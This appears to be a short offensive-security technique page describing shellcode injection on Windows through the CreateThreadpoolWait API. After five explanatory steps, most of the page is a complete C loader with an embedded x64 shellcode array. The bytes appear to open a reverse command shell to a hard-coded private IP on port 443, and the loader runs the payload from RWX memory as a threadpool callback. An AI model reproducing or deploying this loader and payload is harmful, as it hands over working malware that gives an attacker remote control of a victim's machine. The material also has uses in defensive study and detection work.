Shellcode Injection via CreateThreadpoolWait

Malware can inject shellcode via CreateThreadpoolWait API.

  1. CreateEvent is used to create an event object with a Signaled state.
  2. RWX memory for the shellcode is allocated with VirtualAlloc and the shellcode is written there.
  3. CreateThreadpoolWait is used to create a wait object. First argument of the function is a callback function, which will be called once the wait ends (immediately in our case, since our waitable event is in the Signaled state from the start). We will pass the address of our shellcode (allocated in step 2) as the callback function.
  4. SetThreadpoolWait is used to set wait object to the wait object created in step 3.
  5. WaitForSingleObject is used to wait for the waitable object to become Signaled, but since our event (waitable) object was created with a Signaled state in step 1, our callback function specified in step 3 is called and the shellcode is executed right away:

U1236

Code Snippets

#include <windows.h>
#include <threadpoolapiset.h>

unsigned char shellcode[] = 
"\xfc\x48\x83\xe4\xf0\xe8\xc0\x00\x00\x00\x41\x51\x41\x50\x52"
"\x51\x56\x48\x31\xd2\x65\x48\x8b\x52\x60\x48\x8b\x52\x18\x48"
"\x8b\x52\x20\x48\x8b\x72\x50\x48\x0f\xb7\x4a\x4a\x4d\x31\xc9"
"\x48\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\x41\xc1\xc9\x0d\x41"
"\x01\xc1\xe2\xed\x52\x41\x51\x48\x8b\x52\x20\x8b\x42\x3c\x48"
"\x01\xd0\x8b\x80\x88\x00\x00\x00\x48\x85\xc0\x74\x67\x48\x01"
"\xd0\x50\x8b\x48\x18\x44\x8b\x40\x20\x49\x01\xd0\xe3\x56\x48"
"\xff\xc9\x41\x8b\x34\x88\x48\x01\xd6\x4d\x31\xc9\x48\x31\xc0"
"\xac\x41\xc1\xc9\x0d\x41\x01\xc1\x38\xe0\x75\xf1\x4c\x03\x4c"
"\x24\x08\x45\x39\xd1\x75\xd8\x58\x44\x8b\x40\x24\x49\x01\xd0"
"\x66\x41\x8b\x0c\x48\x44\x8b\x40\x1c\x49\x01\xd0\x41\x8b\x04"
"\x88\x48\x01\xd0\x41\x58\x41\x58\x5e\x59\x5a\x41\x58\x41\x59"
"\x41\x5a\x48\x83\xec\x20\x41\x52\xff\xe0\x58\x41\x59\x5a\x48"
"\x8b\x12\xe9\x57\xff\xff\xff\x5d\x49\xbe\x77\x73\x32\x5f\x33"
"\x32\x00\x00\x41\x56\x49\x89\xe6\x48\x81\xec\xa0\x01\x00\x00"
"\x49\x89\xe5\x49\xbc\x02\x00\x01\xbb\xc0\xa8\x38\x66\x41\x54"
"\x49\x89\xe4\x4c\x89\xf1\x41\xba\x4c\x77\x26\x07\xff\xd5\x4c"
"\x89\xea\x68\x01\x01\x00\x00\x59\x41\xba\x29\x80\x6b\x00\xff"
"\xd5\x50\x50\x4d\x31\xc9\x4d\x31\xc0\x48\xff\xc0\x48\x89\xc2"
"\x48\xff\xc0\x48\x89\xc1\x41\xba\xea\x0f\xdf\xe0\xff\xd5\x48"
"\x89\xc7\x6a\x10\x41\x58\x4c\x89\xe2\x48\x89\xf9\x41\xba\x99"
"\xa5\x74\x61\xff\xd5\x48\x81\xc4\x40\x02\x00\x00\x49\xb8\x63"
"\x6d\x64\x00\x00\x00\x00\x00\x41\x50\x41\x50\x48\x89\xe2\x57"
"\x57\x57\x4d\x31\xc0\x6a\x0d\x59\x41\x50\xe2\xfc\x66\xc7\x44"
"\x24\x54\x01\x01\x48\x8d\x44\x24\x18\xc6\x00\x68\x48\x89\xe6"
"\x56\x50\x41\x50\x41\x50\x41\x50\x49\xff\xc0\x41\x50\x49\xff"
"\xc8\x4d\x89\xc1\x4c\x89\xc1\x41\xba\x79\xcc\x3f\x86\xff\xd5"
"\x48\x31\xd2\x48\xff\xca\x8b\x0e\x41\xba\x08\x87\x1d\x60\xff"
"\xd5\xbb\xf0\xb5\xa2\x56\x41\xba\xa6\x95\xbd\x9d\xff\xd5\x48"
"\x83\xc4\x28\x3c\x06\x7c\x0a\x80\xfb\xe0\x75\x05\xbb\x47\x13"
"\x72\x6f\x6a\x00\x59\x41\x89\xda\xff\xd5";


int main()
{
	HANDLE event = CreateEvent(NULL, FALSE, TRUE, NULL);
	LPVOID shellcodeAddress = VirtualAlloc(NULL, sizeof(shellcode), MEM_COMMIT, PAGE_EXECUTE_READWRITE);
	RtlMoveMemory(shellcodeAddress, shellcode, sizeof(shellcode));

	PTP_WAIT threadPoolWait = CreateThreadpoolWait((PTP_WAIT_CALLBACK)shellcodeAddress, NULL, NULL);
	SetThreadpoolWait(threadPoolWait, event, NULL);
	WaitForSingleObject(event, INFINITE);
	
	return 0;
}

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